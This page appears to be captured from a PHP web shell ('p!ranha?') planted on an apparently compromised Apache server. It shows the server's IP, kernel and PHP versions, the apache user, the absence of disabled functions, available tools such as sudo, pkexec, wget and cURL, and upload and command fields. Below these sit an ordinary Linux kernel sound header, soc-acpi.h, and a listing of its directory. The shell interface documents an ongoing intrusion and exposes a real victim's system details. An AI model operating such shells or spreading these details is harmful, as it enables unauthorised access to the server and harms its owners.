p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/sound/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/sound/soc-acpi.h
/*
 * Copyright (C) 2013-15, Intel Corporation. All rights reserved.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License version
 * 2 as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 */

#ifndef __LINUX_SND_SOC_ACPI_H
#define __LINUX_SND_SOC_ACPI_H

#include <linux/stddef.h>
#include <linux/acpi.h>

struct snd_soc_acpi_package_context {
	char *name;           /* package name */
	int length;           /* number of elements */
	struct acpi_buffer *format;
	struct acpi_buffer *state;
	bool data_valid;
};

/* codec name is used in DAIs is i2c-<HID>:00 with HID being 8 chars */
#define SND_ACPI_I2C_ID_LEN (4 + ACPI_ID_LEN + 3 + 1)

#if IS_ENABLED(CONFIG_ACPI)
/* translation fron HID to I2C name, needed for DAI codec_name */
const char *snd_soc_acpi_find_name_from_hid(const u8 hid[ACPI_ID_LEN]);
bool snd_soc_acpi_find_package_from_hid(const u8 hid[ACPI_ID_LEN],
				    struct snd_soc_acpi_package_context *ctx);
#else
static inline const char *
snd_soc_acpi_find_name_from_hid(const u8 hid[ACPI_ID_LEN])
{
	return NULL;
}
static inline bool
snd_soc_acpi_find_package_from_hid(const u8 hid[ACPI_ID_LEN],
				   struct snd_soc_acpi_package_context *ctx)
{
	return false;
}
#endif

/* acpi match */
struct snd_soc_acpi_mach *
snd_soc_acpi_find_machine(struct snd_soc_acpi_mach *machines);

/* acpi check hid */
bool snd_soc_acpi_check_hid(const u8 hid[ACPI_ID_LEN]);

/**
 * snd_soc_acpi_mach: ACPI-based machine descriptor. Most of the fields are
 * related to the hardware, except for the firmware and topology file names.
 * A platform supported by legacy and Sound Open Firmware (SOF) would expose
 * all firmware/topology related fields.
 *
 * @id: ACPI ID (usually the codec's) used to find a matching machine driver.
 * @drv_name: machine driver name
 * @fw_filename: firmware file name. Used when SOF is not enabled.
 * @board: board name
 * @machine_quirk: pointer to quirk, usually based on DMI information when
 * ACPI ID alone is not sufficient, wrong or misleading
 * @quirk_data: data used to uniquely identify a machine, usually a list of
 * audio codecs whose presence if checked with ACPI
 * @pdata: intended for platform data or machine specific-ops. This structure
 *  is not constant since this field may be updated at run-time
 * @sof_fw_filename: Sound Open Firmware file name, if enabled
 * @sof_tplg_filename: Sound Open Firmware topology file name, if enabled
 * @asoc_plat_name: ASoC platform name, used for binding machine drivers
 * if non NULL
 * @new_mach_data: machine driver private data fixup
 */
/* Descriptor for SST ASoC machine driver */
struct snd_soc_acpi_mach {
	const u8 id[ACPI_ID_LEN];
	const char *drv_name;
	const char *fw_filename;
	const char *board;
	struct snd_soc_acpi_mach * (*machine_quirk)(void *arg);
	const void *quirk_data;
	void *pdata;
	const char *sof_fw_filename;
	const char *sof_tplg_filename;
	const char *asoc_plat_name;
	struct platform_device * (*new_mach_data)(void *pdata);
};

#define SND_SOC_ACPI_MAX_CODECS 3

/**
 * struct snd_soc_acpi_codecs: Structure to hold secondary codec information
 * apart from the matched one, this data will be passed to the quirk function
 * to match with the ACPI detected devices
 *
 * @num_codecs: number of secondary codecs used in the platform
 * @codecs: holds the codec IDs
 *
 */
struct snd_soc_acpi_codecs {
	int num_codecs;
	u8 codecs[SND_SOC_ACPI_MAX_CODECS][ACPI_ID_LEN];
};

/* check all codecs */
struct snd_soc_acpi_mach *snd_soc_acpi_codec_list(void *arg);

#endif
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
ac97_codec.h
28.204 KB
November 06 2023 09:15:52
0 / 0
0644
aci.h
2.4 KB
November 06 2023 09:15:52
0 / 0
0644
ad1816a.h
5.441 KB
November 06 2023 09:15:52
0 / 0
0644
ad1843.h
1.48 KB
November 06 2023 09:15:52
0 / 0
0644
aess.h
1.629 KB
November 06 2023 09:15:52
0 / 0
0644
ak4113.h
10.895 KB
November 06 2023 09:15:52
0 / 0
0644
ak4114.h
10.223 KB
November 06 2023 09:15:52
0 / 0
0644
ak4117.h
9.021 KB
November 06 2023 09:15:52
0 / 0
0644
ak4531_codec.h
3.099 KB
November 06 2023 09:15:52
0 / 0
0644
ak4xxx-adda.h
3.336 KB
November 06 2023 09:15:52
0 / 0
0644
asequencer.h
3.584 KB
November 06 2023 09:15:52
0 / 0
0644
asound.h
1.255 KB
November 06 2023 09:15:52
0 / 0
0644
asoundef.h
16.697 KB
November 06 2023 09:15:52
0 / 0
0644
atmel-abdac.h
0.624 KB
November 06 2023 09:15:52
0 / 0
0644
atmel-ac97c.h
1.389 KB
November 06 2023 09:15:52
0 / 0
0644
compress_driver.h
7.156 KB
November 06 2023 09:15:52
0 / 0
0644
control.h
8.821 KB
November 06 2023 09:15:52
0 / 0
0644
core.h
13.505 KB
November 06 2023 09:15:52
0 / 0
0644
cs4231-regs.h
8.281 KB
November 06 2023 09:15:52
0 / 0
0644
cs8403.h
8.626 KB
November 06 2023 09:15:52
0 / 0
0644
cs8427.h
10.399 KB
November 06 2023 09:15:52
0 / 0
0644
da7213.h
1.15 KB
November 06 2023 09:15:52
0 / 0
0644
da7219-aad.h
2.418 KB
November 06 2023 09:15:52
0 / 0
0644
da7219.h
1.067 KB
November 06 2023 09:15:52
0 / 0
0644
emu10k1.h
89.427 KB
November 06 2023 09:15:52
0 / 0
0644
emu10k1_synth.h
1.35 KB
November 06 2023 09:15:52
0 / 0
0644
emu8000.h
4.013 KB
November 06 2023 09:15:52
0 / 0
0644
emu8000_reg.h
10.214 KB
November 06 2023 09:15:52
0 / 0
0644
emux_legacy.h
5.374 KB
November 06 2023 09:15:52
0 / 0
0644
emux_synth.h
7.458 KB
November 06 2023 09:15:52
0 / 0
0644
es1688.h
3.561 KB
November 06 2023 09:15:52
0 / 0
0644
gus.h
20.262 KB
November 06 2023 09:15:52
0 / 0
0644
hda_chmap.h
2.598 KB
November 06 2023 09:15:52
0 / 0
0644
hda_codec.h
17.206 KB
November 06 2023 09:15:52
0 / 0
0644
hda_component.h
1.871 KB
November 06 2023 09:15:52
0 / 0
0644
hda_hwdep.h
1.379 KB
November 06 2023 09:15:52
0 / 0
0644
hda_i915.h
0.575 KB
November 06 2023 09:15:52
0 / 0
0644
hda_register.h
10.118 KB
November 06 2023 09:15:52
0 / 0
0644
hda_regmap.h
6.593 KB
November 06 2023 09:15:52
0 / 0
0644
hda_verbs.h
16.891 KB
November 06 2023 09:15:52
0 / 0
0644
hdaudio.h
19.89 KB
November 06 2023 09:15:52
0 / 0
0644
hdaudio_ext.h
7.064 KB
November 06 2023 09:15:52
0 / 0
0644
hwdep.h
2.563 KB
November 06 2023 09:15:52
0 / 0
0644
i2c.h
3.472 KB
November 06 2023 09:15:52
0 / 0
0644
info.h
8.541 KB
November 06 2023 09:15:52
0 / 0
0644
initval.h
3.084 KB
November 06 2023 09:15:52
0 / 0
0644
jack.h
3.726 KB
November 06 2023 09:15:52
0 / 0
0644
max98090.h
0.736 KB
November 06 2023 09:15:52
0 / 0
0644
memalloc.h
4.438 KB
November 06 2023 09:15:52
0 / 0
0644
minors.h
4.329 KB
November 06 2023 09:15:52
0 / 0
0644
mixer_oss.h
2.41 KB
November 06 2023 09:15:52
0 / 0
0644
mpu401.h
4.492 KB
November 06 2023 09:15:52
0 / 0
0644
opl3.h
12.312 KB
November 06 2023 09:15:52
0 / 0
0644
opl4.h
1.1 KB
November 06 2023 09:15:52
0 / 0
0644
pcm-indirect.h
5.696 KB
November 06 2023 09:15:52
0 / 0
0644
pcm.h
47.436 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_drm_eld.h
0.179 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_iec958.h
0.324 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_oss.h
2.693 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_params.h
8.62 KB
November 06 2023 09:15:52
0 / 0
0644
pt2258.h
1.177 KB
November 06 2023 09:15:52
0 / 0
0644
rawmidi.h
6.35 KB
November 06 2023 09:15:52
0 / 0
0644
rt286.h
0.449 KB
November 06 2023 09:15:52
0 / 0
0644
rt298.h
0.507 KB
November 06 2023 09:15:52
0 / 0
0644
rt5514.h
0.532 KB
November 06 2023 09:15:52
0 / 0
0644
rt5640.h
0.633 KB
November 06 2023 09:15:52
0 / 0
0644
rt5645.h
0.792 KB
November 06 2023 09:15:52
0 / 0
0644
rt5651.h
0.773 KB
November 06 2023 09:15:52
0 / 0
0644
rt5663.h
0.607 KB
November 06 2023 09:15:52
0 / 0
0644
rt5670.h
0.637 KB
November 06 2023 09:15:52
0 / 0
0644
sb.h
11.036 KB
November 06 2023 09:15:52
0 / 0
0644
sb16_csp.h
2.715 KB
November 06 2023 09:15:52
0 / 0
0644
seq_device.h
2.79 KB
November 06 2023 09:15:52
0 / 0
0644
seq_kernel.h
4.096 KB
November 06 2023 09:15:52
0 / 0
0644
seq_midi_emul.h
7.262 KB
November 06 2023 09:15:52
0 / 0
0644
seq_midi_event.h
1.997 KB
November 06 2023 09:15:52
0 / 0
0644
seq_oss.h
2.862 KB
November 06 2023 09:15:52
0 / 0
0644
seq_oss_legacy.h
1.003 KB
November 06 2023 09:15:52
0 / 0
0644
seq_virmidi.h
2.749 KB
November 06 2023 09:15:52
0 / 0
0644
sh_dac_audio.h
0.573 KB
November 06 2023 09:15:52
0 / 0
0644
snd_wavefront.h
5.523 KB
November 06 2023 09:15:52
0 / 0
0644
soc-acpi-intel-match.h
1.098 KB
November 06 2023 09:15:52
0 / 0
0644
soc-acpi.h
3.726 KB
November 06 2023 09:15:52
0 / 0
0644
soc-dai.h
11.201 KB
November 06 2023 09:15:52
0 / 0
0644
soc-dapm.h
30.688 KB
November 06 2023 09:15:52
0 / 0
0644
soc-dpcm.h
4.729 KB
November 06 2023 09:15:52
0 / 0
0644
soc-topology.h
5.666 KB
November 06 2023 09:15:52
0 / 0
0644
soc.h
63.288 KB
November 06 2023 09:15:52
0 / 0
0644
soundfont.h
4.484 KB
November 06 2023 09:15:52
0 / 0
0644
tea575x-tuner.h
2.614 KB
November 06 2023 09:15:52
0 / 0
0644
tea6330t.h
1.136 KB
November 06 2023 09:15:52
0 / 0
0644
timer.h
5.557 KB
November 06 2023 09:15:52
0 / 0
0644
tlv.h
2.268 KB
November 06 2023 09:15:52
0 / 0
0644
tlv320aic32x4.h
0.879 KB
November 06 2023 09:15:52
0 / 0
0644
tlv320aic3x.h
1.878 KB
November 06 2023 09:15:52
0 / 0
0644
tlv320dac33-plat.h
0.703 KB
November 06 2023 09:15:52
0 / 0
0644
util_mem.h
2.258 KB
November 06 2023 09:15:52
0 / 0
0644
vx_core.h
15.343 KB
November 06 2023 09:15:52
0 / 0
0644
wavefront.h
18.757 KB
November 06 2023 09:15:52
0 / 0
0644
wss.h
8.513 KB
November 06 2023 09:15:52
0 / 0
0644